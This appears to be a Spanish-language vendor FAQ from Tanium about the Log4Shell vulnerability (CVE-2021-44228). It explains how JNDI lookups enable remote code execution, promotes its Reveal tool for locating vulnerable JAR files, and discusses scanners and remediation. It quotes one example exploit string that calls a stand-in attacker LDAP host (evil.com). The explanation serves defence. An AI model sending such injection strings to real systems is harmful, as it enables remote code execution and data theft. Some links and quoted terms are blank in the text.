El mundo de las tecnologías de la información quedó conmocionado a finales de 2021 tras la revelación de una vulnerabilidad crítica de tipo « » en Log4j, una utilidad de registro habitual basada en Java y mantenida por la Apache Software Foundation. Aunque es prácticamente desconocido fuera del sector, se utiliza en miles de programas de todo el mundo en diversos sistemas operativos. Con una puntuación CVSS de 10.0, el primer fallo detectado en el producto (“Log4Shell”) representa el peor nivel de gravedad que puede alcanzar una vulnerabilidad. De hecho, el Log4j fue objeto de más de 800 000 ataques en en un plazo de 72 horas desde la publicación de la vulnerabilidad.
A raíz de la enorme avalancha de publicidad sobre la vulnerabilidad, los expertos de Tanium se han visto desbordados por las preguntas. ¿Qué es el Log4Shell? ¿Cómo se puede aprovechar? ¿Y cómo pueden responder las organizaciones? Con el fin de ahorrar tiempo y ayudar a las organizaciones de todo el mundo a reaccionar y mitigar los efectos, hemos recopilado a continuación las preguntas más frecuentes que hemos recibido y nuestras respuestas correspondientes.
¿Qué es CVE-2021-44228 (Log4Shell)?
La vulnerabilidad Log4Shell es una vulnerabilidad de ejecución remota de código (RCE) que permite a un atacante ejecutar código al hacer que una aplicación escriba en el archivo de registro. Es muy habitual que se introduzcan parámetros en los campos de texto de una aplicación y que se registren otros eventos de log, lo cual explica en parte por qué esta vulnerabilidad está tan extendida.
Es posible que la biblioteca vulnerable esté presente en los sistemas de los clientes y no se limita únicamente a las aplicaciones web de acceso público.
Los aspectos técnicos
Por su diseño, Log4j permite que los mensajes contengan referencias a información externa a través de una API denominada JNDI (Java Naming and Directory Interface). La funcionalidad JNDI permite acceder a dichas referencias externas a través de varios protocolos, entre ellos el Protocolo ligero de acceso a directorios (LDAP).
Cuando un atacante envía una cadena creada con fines maliciosos, como ${jndi:ldap://evil.com/bad}, el servidor interpretará ese mensaje para conectarse con el servidor LDAP (evil.com) y solicitar el objeto «bad». El servidor evil.com, controlado por un atacante malintencionado, ordenará entonces a la aplicación que cargue una clase Java maliciosa (bad.class).
Cuando existe la versión Log4j vulnerable y el atacante controla un servidor LDAP, el archivo «bad.class» puede contener cualquier instrucción que el atacante desee, lo que abre la puerta a una amplia gama de posibles ataques, desde el ransomware hasta el criptojacking y el robo de información.
Además de la vulnerabilidad RCE, las versiones vulnerables no validan los datos de entrada de la llamada JNDI, lo que podría dar lugar a la exposición de variables del sistema a la enumeración y la exfiltración.
Se ha producido un aumento de las vulnerabilidades en la cadena de suministro de software (por ejemplo, Struts, NPM). ¿Qué tal sale de por medio el Log4J ?
La vulnerabilidad Log4J es similar a la de , ya que se trata de una vulnerabilidad que las organizaciones no pueden corregir por sí mismas, a menos que se trate de una aplicación desarrollada y mantenida internamente.
La vulnerabilidad Log4J es diferente porque probablemente sea la de mayor alcance y mayor gravedad que hayamos visto en una década o más, y no va a desaparecer a corto plazo. Afecta a todo tipo de sistemas operativos; puede darse en software libre o de código abierto, en aplicaciones empresariales, en clientes, en servidores, en dispositivos del Internet de las cosas… prácticamente en cualquier lugar. Puede explotarse de forma remota, utilizarse para el movimiento lateral, y su detección se basa en reglas basadas en firmas que los atacantes eluden sistemáticamente.
Las organizaciones se han visto obligadas a identificar los puntos vulnerables de su entorno, para, a continuación, recabar la documentación de los responsables o desarrolladores de las aplicaciones con el fin de obtener un parche o una medida de mitigación e implementarlo a gran escala.
¿Cuáles son algunos de los conceptos erróneos más comunes sobre el curso Log4j?
- Es fácil de arreglar
- Solo afecta a los sistemas conectados a Internet
- Las organizaciones pueden corregir por sí mismas todas las instancias de la vulnerabilidad
- Basta con buscar las listas de aplicaciones instaladas para identificarlo
¿Cómo puede Tanium ayudar a localizar Log4j instancias?
Una de las razones por las que la Log4Shell es tan peligrosa es que la Log4j puede resultar difícil de encontrar.
Es posible que las organizaciones tengan cientos de programas instalados en su entorno que utilicen esta biblioteca. Dado que la vulnerabilidad se encuentra en la biblioteca que utiliza la aplicación, no pueden modificar la propia aplicación. Deben esperar a que los proveedores de todo su software evalúen, corrijan y publiquen actualizaciones. Además, un análisis de las aplicaciones instaladas o de las vulnerabilidades CVE no revelará qué paquetes de software utilizan esta biblioteca.
Tanium Reveal destaca por su capacidad única para extraer información de los archivos. Puede detectar archivos «manifest.mf», «pom.xml» u otros indicios de la presencia de Log4j en el interior de bibliotecas comprimidas. De este modo, Tanium Reveal es la única solución capaz de ir más allá del nombre o la extensión de un archivo y examinar el contenido del propio archivo. En el caso del CVE-2021-44228, podemos buscar archivos JAR vulnerables (archivos .JAR) dentro de archivos JAR que a su vez contienen otros archivos JAR.
Tanium y nuestros socios pueden mostrar a los clientes Log4j instancias que se encuentran latentes u ocultas para otras herramientas. Para ayudarles, ofrecemos asistencia gratuita tanto a los clientes nuevos como a los actuales con el fin de subsanar e identificar la vulnerabilidad.
¿Qué debe hacer una organización cuando Reveal detecta una posible coincidencia?
Tanium Reveal le mostrará los archivos que coincidan con los patrones, pero eso no constituye un indicador definitivo de vulnerabilidad. Las técnicas de validación de la información sanitaria protegida (PHI) o de la información de identificación personal (PII) en Reveal pueden consultarse aquí: , en este enlace: y en esta documentación: . Es posible que una coincidencia de versión Log4j no requiera una validación exhaustiva.
No obstante, si fuera necesario, puede pasar rápidamente de los resultados de Reveal a la acción para identificar el producto del que procede un archivo sospechoso, comprobar la vulnerabilidad de dicho proveedor y decidir si debe aplicar un parche o eliminarlo.
Tanium ofrece múltiples opciones para profundizar en el análisis e identificar los resultados correctos o erróneos. Se trata de sugerencias sobre medidas que podrían adoptarse, aunque no constituyen una lista exhaustiva y dependerán en gran medida del entorno de la organización y de los flujos de trabajo, las políticas y los procesos existentes.
Es importante señalar que no se trata tanto de una respuesta ante un incidente como de una situación de búsqueda de amenazas. Los próximos pasos dependerán en gran medida de las conclusiones a las que llegue la organización afectada. SANS dispone de una excelente hoja de referencia sobre el modelo PICERL de « » ( ) para la respuesta ante incidentes , que puede consultarse aquí:. Según este modelo, Tanium Reveal e Index forman parte de las fases de preparación e identificación.
¿Cómo puede ayudar el escáner de la CISA?
El December 21, 2021, la CISA publicó una versión de una herramienta de código abierto denominada « Log4j Scanner» (), creada originalmente por fullhunt.io. Aunque resulta útil, el escáner solo funcionará si lo dirige hacia una ubicación en la que haya un punto final vulnerable y una aplicación a la escucha. Aún así, podría pasar por alto algunos puntos finales vulnerables debido a las conjeturas sobre la configuración de los sistemas.
Aunque las organizaciones deseen aprovechar esta herramienta, deberían seguir utilizando Tanium Reveal para definir con mayor precisión la lista de terminales que desean someter a prueba. Asimismo, deben tener en cuenta que este escáner no detectará los archivos .JAR vulnerables que se encuentren en el disco o en las copias de seguridad, ni aquellos que no se estén ejecutando en el momento del análisis.
Además, el escáner no ofrece la posibilidad de mitigar las vulnerabilidades ni de instalar parches actualizados para las aplicaciones vulnerables. Se trata de otra herramienta importante que contribuye al esfuerzo por solucionar el problema Log4j , pero no debe considerarse un método definitivo ni exhaustivo.
¿Por qué el análisis de vulnerabilidades resulta ineficaz por sí solo?
- Las actualizaciones de las definiciones llevan tiempo, y dichas definiciones dependen de que los proveedores de software revelen el estado de las vulnerabilidades
- A menudo se basa en aplicaciones vulnerables conocidas. Log4j, al igual que otras bibliotecas, requerirá un análisis exhaustivo a través de las distintas capas de software de su entorno para identificar con certeza
- Muchas herramientas de análisis de vulnerabilidades utilizan un método de «spray and pray» para explotar de forma inofensiva la vulnerabilidad. Esto solo resulta eficaz en parte. Es necesario que el servicio vulnerable esté a la escucha en el puerto que está escaneando. Si la aplicación se encuentra inactiva en el disco, esos escáneres no la detectarán.
¿Cómo sabe usted cuándo ha subsanado la vulnerabilidad Log4j ?
Una vez que haya aplicado todos los parches a todas las instancias del software —aunque, para entonces, inevitablemente habrá nuevas vulnerabilidades que deban subsanarse—. Es importante considerar la seguridad como un proceso, y no como una lista de comprobación o una tarea que se pueda tachar como «hecha». El panorama de las amenazas sigue evolucionando. Cada vez que se incorpore un nuevo activo a su red y cada vez que un investigador detecte un nuevo fallo, tendrá más trabajo que hacer. Por eso es fundamental la capacidad de responder de forma dinámica. Cambie la mentalidad que permite que se mantengan aplicaciones obsoletas con el pretexto de que son «fundamentales». Debemos aceptar el cambio, no el riesgo. La aceptación del riesgo es una estrategia destinada a darle tiempo para coordinar el cambio, no un estado permanente.
¿Cuánto tiempo se tarda en saber si se ha estado expuesto?
Las organizaciones pueden implementar Tanium Reveal en cuestión de horas y empezar de inmediato a recabar resultados que, posteriormente, podrán utilizar para reorientar su estrategia de investigación y búsqueda.
¿Puedo recurrir a un socio para utilizar Tanium en el proceso de detección o corrección de Log4j?
Sí. La mayoría de los socios de Tanium en todo el mundo ya han recibido la información necesaria y están preparados para prestar servicios que le ayuden en cualquier aspecto del proceso de « Log4j », ya sea en la detección o en la corrección de incidencias, o para optimizar mejor la infraestructura de seguridad mediante la consolidación y racionalización de las herramientas.
¿De qué otra forma puede ayudarle Reveal?
Tanium Reveal puede ayudar a detectar y corregir el problema Log4j de la siguiente manera:
- Detección de contraseñas expuestas
- Realización de la caza dinámica
¿Qué debo saber sobre la advertencia de la FTC relativa a la norma Log4j?
La Comisión Federal de Comercio (FTC) ha publicado una serie de requisitos según los cuales todas las empresas deben detectar y subsanar esta vulnerabilidad, ya que es tan grave o incluso más que el fallo de seguridad de Apache Struts, que provocó la infame filtración de datos de Equifax . La FTC y la CISA reconocen que estamos viviendo en una situación precaria hasta que se descubra una filtración que acapare los titulares.
Es muy probable que las organizaciones internacionales ya hayan sido objeto de ataques a través de Log4Shell y que los atacantes estén analizando sus redes de forma encubierta, sustrayendo datos y preparando nuevos ataques. Pasará mucho tiempo antes de que nos demos cuenta del verdadero impacto de esta vulnerabilidad.
Si tiene más preguntas sobre en relación con Log4j o desea aprovechar nuestro servicio gratuito para ayudarle a identificar esta vulnerabilidad, póngase en contacto con nosotros hoy mismo.
Los clientes actuales pueden encontrar información más detallada en sobre cómo detectar y mitigar el problema Log4j en nuestro artículo de la comunidad de Tanium. Esta información se actualiza periódicamente a medida que se dispone de nuevos datos.
